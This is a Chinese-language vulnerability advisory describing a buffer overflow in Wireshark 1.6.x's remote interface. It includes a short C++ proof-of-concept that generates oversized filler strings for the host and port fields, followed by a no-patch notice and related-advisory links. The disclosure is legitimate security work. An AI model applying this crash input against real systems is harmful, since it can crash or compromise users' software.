Wireshark远程界面缓冲区溢出漏洞

发布日期：2012-08-28
更新日期：2012-08-29受影响系统：
Wireshark Wireshark 1.6.x
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 55211Wireshark（前称Ethereal）是一个网络分组分析软件。Wireshark 1.6.0、1.8.2及其他版本在实现上存在缓冲区溢出漏洞，可允许远程攻击者在受影响应用中执行任意代码。<*来源：X-h4ck
*>测试方法：
--------------------------------------------------------------------------------警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！X-h4ck （）提供了如下测试方法：#include <cstdio>
#include <iostream>
// wrote a little shit code to generate > nicely for u those strings
using namespace std;
int main（）{ char buff1[] = "x41";
char buff2[] = "x42";
FILE *txtfile;
txtfile = fopen（"c:\exploit.txt", "w"）;
fputs（"Host Input: ",txtfile）;
for（int i=0; i < 659; i++）{
    fputs（buff1,txtfile）;
    }
fputs（" ",txtfile）;
fputs（"Port Input: ",txtfile）;
for （int y=0; y < 652; y++） {
    fputs（buff1,txtfile）;
    }
for（int x=0; x < 8; x++） {
    fputs（buff2,txtfile）;
    }
fclose（txtfile）;
return 0;
}建议：
--------------------------------------------------------------------------------
厂商补丁：Wireshark
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：http://www.wireshark.org/security/OpenJPEG堆缓冲区溢出漏洞Mozilla Firefox/Thunderbird/SeaMonkey多个安全漏洞（MFSA 2012/57-72）相关资讯缓冲区溢出漏洞 Wireshark安全漏洞

Wireshark多个拒绝服务漏洞（07/31/2013 20:31:03）
Siemens WinCC RegReader ActiveX （03/24/2013 08:07:04）
Novell Messenger / Groupwise （03/18/2013 20:58:20）

Novell iPrint Client 缓冲区溢出（05/04/2013 07:13:08）
Siemens WinCC CCEServer缓冲区溢（03/22/2013 19:25:09）
WiresharkCSN.1解析器拒绝服务漏（03/12/2013 19:12:50）

本文评论查看全部评论（0）

评论声明

尊重网上道德，遵守中华人民共和国的各项有关法律法规
承担一切因您的行为而直接或间接导致的民事或刑事法律责任
本站管理人员有权保留或删除其管辖留言中的任意内容
本站有权在网站内转载或引用您的评论
参与本评论即表明您已经阅读并接受上述条款